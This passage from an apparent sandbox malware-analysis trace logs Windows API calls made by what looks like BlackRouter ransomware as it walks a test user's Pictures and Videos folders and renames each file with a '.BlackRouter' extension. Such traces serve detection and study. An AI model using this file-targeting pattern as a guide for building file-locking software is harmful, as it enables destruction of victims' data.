ftLastAccessTime.dwLowDateTime=0x968387e0, ftLastAccessTime.dwHighDateTime=0x1d456ec, ftLastWriteTime.dwLowDateTime=0xbff13610, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x14420)) returned 1 [0042.672] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\R1Cc35IEljWXcM\\MMSLiD07 s_kV.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\r1cc35ieljwxcm\\mmslid07 s_kv.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\R1Cc35IEljWXcM\\MMSLiD07 s_kV.bmp.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\r1cc35ieljwxcm\\mmslid07 s_kv.bmp.blackrouter")) returned 1 [0042.678] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\R1Cc35IEljWXcM\\*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.678] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.680] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\R1Cc35IEljWXcM\\*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.680] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.684] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0xdfd5 [0042.693] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\QePPgvr8.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\qeppgvr8.png"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7594d40, ftCreationTime.dwHighDateTime=0x1d45795, ftLastAccessTime.dwLowDateTime=0x326b2100, ftLastAccessTime.dwHighDateTime=0x1d45d77, ftLastWriteTime.dwLowDateTime=0xbff5f8d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xdfe0)) returned 1 [0042.693] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\QePPgvr8.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\qeppgvr8.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\QePPgvr8.png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\qeppgvr8.png.blackrouter")) returned 1 [0042.694] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x17daf [0042.704] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\7j5Ta.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\7j5ta.bmp"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41267310, ftCreationTime.dwHighDateTime=0x1d463e0, ftLastAccessTime.dwLowDateTime=0x914e5c60, ftLastAccessTime.dwHighDateTime=0x1d45ecf, ftLastWriteTime.dwLowDateTime=0xbff85a30, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x17db0)) returned 1 [0042.704] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\7j5Ta.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\7j5ta.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\7j5Ta.bmp.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\7j5ta.bmp.blackrouter")) returned 1 [0042.705] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0xe3ad [0042.711] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NUph7-HYL6 UaLZv.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nuph7-hyl6 ualzv.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83beb860, ftCreationTime.dwHighDateTime=0x1d46343, ftLastAccessTime.dwLowDateTime=0x21345400, ftLastAccessTime.dwHighDateTime=0x1d45945, ftLastWriteTime.dwLowDateTime=0xbff85a30, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xe3b0)) returned 1 [0042.711] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NUph7-HYL6 UaLZv.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nuph7-hyl6 ualzv.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NUph7-HYL6 UaLZv.jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nuph7-hyl6 ualzv.jpg.blackrouter")) returned 1 [0042.716] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*.BAK~", lpszLongPath=0x1ae2b0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.716] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae2b0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.718] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*.CENON~", lpszLongPath=0x1ae2b0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.719] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae2b0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.721] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae738 | out: lpFileSizeHigh=0x1ae738*=0x0) returned 0x11118 [0042.726] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\5D9Y1REjmdbi7ckhG\\sgnjv-Z u6dCE_6Y.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\5d9y1rejmdbi7ckhg\\sgnjv-z u6dce_6y.avi"), fInfoLevelId=0x0, lpFileInformation=0x1ae780 | out: lpFileInformation=0x1ae780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb83be220, ftCreationTime.dwHighDateTime=0x1d4567d, ftLastAccessTime.dwLowDateTime=0xe7f25f30, ftLastAccessTime.dwHighDateTime=0x1d4655a, ftLastWriteTime.dwLowDateTime=0xbffabb90, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x11120)) returned 1 [0042.726] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\5D9Y1REjmdbi7ckhG\\sgnjv-Z u6dCE_6Y.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\5d9y1rejmdbi7ckhg\\sgnjv-z u6dce_6y.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\5D9Y1REjmdbi7ckhG\\sgnjv-Z u6dCE_6Y.avi.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\5d9y1rejmdbi7ckhg\\sgnjv-z u6dce_6y.avi.blackrouter")) returned 1 [0042.726] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae738 | out: lpFileSizeHigh=0x1ae738*=0x0) returned 0xa762 [0042.730] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\5D9Y1REjmdbi7ckhG\\w7_m6fZv.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\5d9y1rejmdbi7ckhg\\w7_m6fzv.avi"), fInfoLevelId=0x0, lpFileInformation=0x1ae780 | out: lpFileInformation=0x1ae780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7e122f0, ftCreationTime.dwHighDateTime=0x1d458c3, ftLastAccessTime.dwLowDateTime=0x611c4c10, ftLastAccessTime.dwHighDateTime=0x1d4638d, ftLastWriteTime.dwLowDateTime=0xbffabb90, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xa770)) returned 1 [0042.730] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\5D9Y1REjmdbi7ckhG\\w7_m6fZv.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\5d9y1rejmdbi7ckhg\\w7_m6fzv.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\5D9Y1REjmdbi7ckhG\\w7_m6fZv.avi.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\5d9y1rejmdbi7ckhg\\w7_m6fzv.avi.blackrouter")) returned 1 [0042.731] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae738 | out: lpFileSizeHigh=0x1ae738*=0x0) returned 0x259e [0042.734] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\5D9Y1REjmdbi7ckhG\\9jdxxgfjMh.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\5d9y1rejmdbi7ckhg\\9jdxxgfjmh.flv"), fInfoLevelId=0x0, lpFileInformation=0x1ae780 | out: lpFileInformation=0x1ae780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc69ff8c0, ftCreationTime.dwHighDateTime=0x1d4588e, ftLastAccessTime.dwLowDateTime=0x9fba5d60, ftLastAccessTime.dwHighDateTime=0x1d46471, ftLastWriteTime.dwLowDateTime=0xbffd1cf0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x25a0)) returned 1 [0042.734] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\5D9Y1REjmdbi7ckhG\\9jdxxgfjMh.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\5d9y1rejmdbi7ckhg\\9jdxxgfjmh.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\5D9Y1REjmdbi7ckhG\\9jdxxgfjMh.flv.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\5d9y1rejmdbi7ckhg\\9jdxxgfjmh.flv.blackrouter")) returned 1 [0042.735] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae738 | out: lpFileSizeHigh=0x1ae738*=0x0) returned 0xf4e6 [0042.740] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\5D9Y1REjmdbi7ckhG\\jBFKIGSBGHjL__yZ4B.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\5d9y1rejmdbi7ckhg\\jbfkigsbghjl__yz4b.flv"), fInfoLevelId=0x0, lpFileInformation=0x1ae780 | out: lpFileInformation=0x1ae780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66e409f0, ftCreationTime.dwHighDateTime=0x1d46255, ftLastAccessTime.dwLowDateTime=0x7bafa200, ftLastAccessTime.dwHighDateTime=0x1d4619b, ftLastWriteTime.dwLowDateTime=0xbffd1cf0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xf4f0)) returned 1 [0042.740] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\5D9Y1REjmdbi7ckhG\\jBFKIGSBGHjL__yZ4B.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\5d9y1rejmdbi7ckhg\\jbfkigsbghjl__yz4b.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\5D9Y1REjmdbi7ckhG\\jBFKIGSBGHjL__yZ4B.flv.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\5d9y1rejmdbi7ckhg\\jbfkigsbghjl__yz4b.flv.blackrouter")) returned 1 [0042.741] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae738 | out: lpFileSizeHigh=0x1ae738*=0x0) returned 0xdb16 [0042.745] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\5D9Y1REjmdbi7ckhG\\UQinYjJ70HeDUKlLY.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\5d9y1rejmdbi7ckhg\\uqinyjj70heduklly.flv"), fInfoLevelId=0x0, lpFileInformation=0x1ae780 | out: lpFileInformation=0x1ae780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9043b4b0, ftCreationTime.dwHighDateTime=0x1d45e83, ftLastAccessTime.dwLowDateTime=0xe77aede0, ftLastAccessTime.dwHighDateTime=0x1d45fcb, ftLastWriteTime.dwLowDateTime=0xbffd1cf0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xdb20)) returned 1 [0042.745] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\5D9Y1REjmdbi7ckhG\\UQinYjJ70HeDUKlLY.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\5d9y1rejmdbi7ckhg\\uqinyjj70heduklly.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\5D9Y1REjmdbi7ckhG\\UQinYjJ70HeDUKlLY.flv.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\5d9y1rejmdbi7ckhg\\uqinyjj70heduklly.flv.blackrouter")) returned 1 [0042.746] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae738 | out: lpFileSizeHigh=0x1ae738*=0x0) returned 0x1708c [0042.753] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\5D9Y1REjmdbi7ckhG\\YeEAcrtGmr.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\5d9y1rejmdbi7ckhg\\yeeacrtgmr.flv"), fInfoLevelId=0x0, lpFileInformation=0x1ae780 | out: lpFileInformation=0x1ae780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f7998c0, ftCreationTime.dwHighDateTime=0x1d46364, ftLastAccessTime.dwLowDateTime=0x485eec00, ftLastAccessTime.dwHighDateTime=0x1d45c26, ftLastWriteTime.dwLowDateTime=0xbfff7e50, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x17090)) returned 1 [0042.753] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\5D9Y1REjmdbi7ckhG\\YeEAcrtGmr.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\5d9y1rejmdbi7ckhg\\yeeacrtgmr.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\5D9Y1REjmdbi7ckhG\\YeEAcrtGmr.flv.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\5d9y1rejmdbi7ckhg\\yeeacrtgmr.flv.blackrouter")) returned 1 [0042.757] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\5D9Y1REjmdbi7ckhG\\*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.757] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.758] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\5D9Y1REjmdbi7ckhG\\*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.758] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.760] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae738 | out: lpFileSizeHigh=0x1ae738*=0x0) returned 0x12db8 [0042.807] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\G4poyrdoIfKheVZ2X\\dIYQ4KZnYJB8_m w.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\g4poyrdoifkhevz2x\\diyq4kznyjb8_m w.swf"), fInfoLevelId=0x0, lpFileInformation=0x1ae780 | out: lpFileInformation=0x1ae780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1011e910, ftCreationTime.dwHighDateTime=0x1d45997, ftLastAccessTime.dwLowDateTime=0xec9235d0, ftLastAccessTime.dwHighDateTime=0x1d45df6, ftLastWriteTime.dwLowDateTime=0xc006a270, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x12dc0)) returned 1 [0042.807] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\G4poyrdoIfKheVZ2X\\dIYQ4KZnYJB8_m w.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\g4poyrdoifkhevz2x\\diyq4kznyjb8_m w.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\G4poyrdoIfKheVZ2X\\dIYQ4KZnYJB8_m w.swf.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\g4poyrdoifkhevz2x\\diyq4kznyjb8_m w.swf.blackrouter")) returned 1 [0042.807] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae738 | out: lpFileSizeHigh=0x1ae738*=0x0) returned 0x83f5 [0042.849] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\G4poyrdoIfKheVZ2X\\P7DvzSdMjzYKtoVfsTv.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\g4poyrdoifkhevz2x\\p7dvzsdmjzyktovfstv.swf"), fInfoLevelId=0x0, lpFileInformation=0x1ae780 | out: lpFileInformation=0x1ae780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b95f8a0, ftCreationTime.dwHighDateTime=0x1d458e6, ftLastAccessTime.dwLowDateTime=0x3e7a19c0, ftLastAccessTime.dwHighDateTime=0x1d45c77, ftLastWriteTime.dwLowDateTime=0xc00dc690, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x8400)) returned 1 [0042.849] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\G4poyrdoIfKheVZ2X\\P7DvzSdMjzYKtoVfsTv.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\g4poyrdoifkhevz2x\\p7dvzsdmjzyktovfstv.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\G4poyrdoIfKheVZ2X\\P7DvzSdMjzYKtoVfsTv.swf.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\g4poyrdoifkhevz2x\\p7dvzsdmjzyktovfstv.swf.blackrouter")) returned 1 [0042.852] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae738 | out: lpFileSizeHigh=0x1ae738*=0x0) returned 0xa83b [0042.856] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\G4poyrdoIfKheVZ2X\\Czw3 eKG3I.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\g4poyrdoifkhevz2x\\czw3 ekg3i.mp4"), fInfoLevelId=0x0, lpFileInformation=0x1ae780 | out: lpFileInformation=0x1ae780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468097a0, ftCreationTime.dwHighDateTime=0x1d459cc, ftLastAccessTime.dwLowDateTime=0x7283d450, ftLastAccessTime.dwHighDateTime=0x1d4598d, ftLastWriteTime.dwLowDateTime=0xc00dc690, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xa840)) returned 1 [0042.856] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\G4poyrdoIfKheVZ2X\\Czw3 eKG3I.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\g4poyrdoifkhevz2x\\czw3 ekg3i.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\G4poyrdoIfKheVZ2X\\Czw3 eKG3I.mp4.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\g4poyrdoifkhevz2x\\czw3 ekg3i.mp4.blackrouter")) returned 1 [0042.857] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae738 | out: lpFileSizeHigh=0x1ae738*=0x0) returned 0x6a7f [0042.860] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\G4poyrdoIfKheVZ2X\\K0UTh6aEmFBRdiy0d.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\g4poyrdoifkhevz2x\\k0uth6aemfbrdiy0d.mp4"), fInfoLevelId=0x0, lpFileInformation=0x1ae780 | out: lpFileInformation=0x1ae780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7adc0e20, ftCreationTime.dwHighDateTime=0x1d45be4, ftLastAccessTime.dwLowDateTime=0x8ffe100, ftLastAccessTime.dwHighDateTime=0x1d4625b, ftLastWriteTime.dwLowDateTime=0xc01027f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x6a80)) returned 1 [0042.860] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\G4poyrdoIfKheVZ2X\\K0UTh6aEmFBRdiy0d.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\g4poyrdoifkhevz2x\\k0uth6aemfbrdiy0d.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\G4poyrdoIfKheVZ2X\\K0UTh6aEmFBRdiy0d.mp4.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\g4poyrdoifkhevz2x\\k0uth6aemfbrdiy0d.mp4.blackrouter")) returned 1 [0042.861] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae738 | out: lpFileSizeHigh=0x1ae738*=0x0) returned 0xa5f [0042.864] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\G4poyrdoIfKheVZ2X\\FQv6HJ.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\g4poyrdoifkhevz2x\\fqv6hj.flv"), fInfoLevelId=0x0, lpFileInformation=0x1ae780 | out: lpFileInformation=0x1ae780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0561210, ftCreationTime.dwHighDateTime=0x1d45f98, ftLastAccessTime.dwLowDateTime=0x651a5f30, ftLastAccessTime.dwHighDateTime=0x1d4581d, ftLastWriteTime.dwLowDateTime=0xc01027f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xa60)) returned 1 [0042.864] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\G4poyrdoIfKheVZ2X\\FQv6HJ.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\g4poyrdoifkhevz2x\\fqv6hj.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\G4poyrdoIfKheVZ2X\\FQv6HJ.flv.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\g4poyrdoifkhevz2x\\fqv6hj.flv.blackrouter")) returned 1 [0042.868] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\G4poyrdoIfKheVZ2X\\*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.868] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.869] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\G4poyrdoIfKheVZ2X\\*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.869] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.871] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae738 | out: lpFileSizeHigh=0x1ae738*=0x0) returned 0xaf41 [0042.876] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ssFH61LrbJb\\llZwJrJbI.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ssfh61lrbjb\\llzwjrjbi.swf"), fInfoLevelId=0x0, lpFileInformation=0x1ae780 | out: lpFileInformation=0x1ae780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8edc190, ftCreationTime.dwHighDateTime=0x1d4580c, ftLastAccessTime.dwLowDateTime=0x7dcbd680, ftLastAccessTime.dwHighDateTime=0x1d462f4, ftLastWriteTime.dwLowDateTime=0xc0128950, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xaf50)) returned 1 [0042.877] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ssFH61LrbJb\\llZwJrJbI.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ssfh61lrbjb\\llzwjrjbi.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ssFH61LrbJb\\llZwJrJbI.swf.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ssfh61lrbjb\\llzwjrjbi.swf.blackrouter")) returned 1 [0042.877] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae738 | out: lpFileSizeHigh=0x1ae738*=0x0) returned 0x12a0e [0042.883] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ssFH61LrbJb\\vEDuhznOq3eAa.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ssfh61lrbjb\\veduhznoq3eaa.swf"), fInfoLevelId=0x0, lpFileInformation=0x1ae780 | out: lpFileInformation=0x1ae780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbeceb60, ftCreationTime.dwHighDateTime=0x1d45fc1, ftLastAccessTime.dwLowDateTime=0xce6ac1b0, ftLastAccessTime.dwHighDateTime=0x1d463cf, ftLastWriteTime.dwLowDateTime=0xc0128950, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x12a10)) returned 1 [0042.883] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ssFH61LrbJb\\vEDuhznOq3eAa.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ssfh61lrbjb\\veduhznoq3eaa.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ssFH61LrbJb\\vEDuhznOq3eAa.swf.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ssfh61lrbjb\\veduhznoq3eaa.swf.blackrouter")) returned 1 [0042.884] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae738 | out: lpFileSizeHigh=0x1ae738*=0x0) returned 0x25e0 [0042.887] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ssFH61LrbJb\\fOoWS4uacQpc.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ssfh61lrbjb\\foows4uacqpc.avi"), fInfoLevelId=0x0, lpFileInformation=0x1ae780 | out: lpFileInformation=0x1ae780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6fd5a30, 